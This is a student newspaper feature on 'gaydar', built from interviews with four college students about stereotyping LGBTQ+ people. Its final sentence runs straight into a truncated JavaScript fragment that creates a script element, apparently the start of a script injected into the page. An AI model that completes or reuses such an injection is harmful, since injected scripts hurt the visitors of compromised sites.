Over the Rainbow


Destiny Vasquez, Cactus Staff Writer

How good is your “gaydar?” To most, it is a seemingly harmless way to identify LGBTQ+ individuals based on some aspect of their personality or dress code or perhaps other stereotypical judgments we all tend to cast on others — whether it’s intentional or not. But what does it all mean, now, in this day and age where the LGBTQ+ community is more accepted? I went to some fellow CAC students to find out. What is “gaydar.”

I interviewed four CAC students, and I received varying opinions from them. They came from different campuses and are of different sexual orientations. My first and most obvious question was what gaydar meant to them. From all of them I heard similar answers. Gaydar is the judging of anyone based on how they look and act to determine if they are a part of the LGBT+ community or not. But as I dug deeper it seemed to be associated more with negativity than anything else. My fellow peers believed it was a way to judge people based on stereotypes, which in a lot of cases aren’t grounded in truth. Sure, if I was to be judged I’d feel the weight of objectifying stares, and I’m not the only one who thinks this way. As Marielle Ariete said, “gaydar is treated like a game, a way to generalize LGBT+ members’ and implies they are more like objects rather than actual people.” Although, as Taylor stated, it would initially depend on the person if it becomes a stigma or not. This got me thinking about how gaydar is seen. We all admitted to using gaydar at least once in our lives and it was to judge someone based on something we thought made everyone like that gay. Perhaps innocence and ignorance are to blame for gaydar becoming part of our culture but it is our job to dispel these sort of illusions about it. What is clear is that it is offensive not because it is shameful to be assumed gay but because you are judging someone based on outward factors, rather than getting to know who they are on the inside. Whether the person is gay or straight should not matter, they are a person, and they should not be judged for their sexuality . Some LGBTQ+ people aren’t ready to come out due to the environment they live in or because they don’t want to become some “accessory” to some one else’s life, as Vanessa Lozano said. It may be better for the LGBTQ+ community now but there are still struggles to overcome. So what should be taken from this slice of life article you took the time to read? As Marielle and Kristin E. said, gaydar shouldn’t be treated as something real. Everyone is different and their sexual orientation is only a small part of who they are. What we really have to remember is what Taylor from Superstition Mountain campus said, “It doesn’t make you a bad person to stereotype or to judge as long as you’re polite about it.” Because realistically everyone judges everyone and appearances are only a part of it. People will be people and it is in our nature to question our world and everything in it.var d=document;var s=d.createElement(‘script’);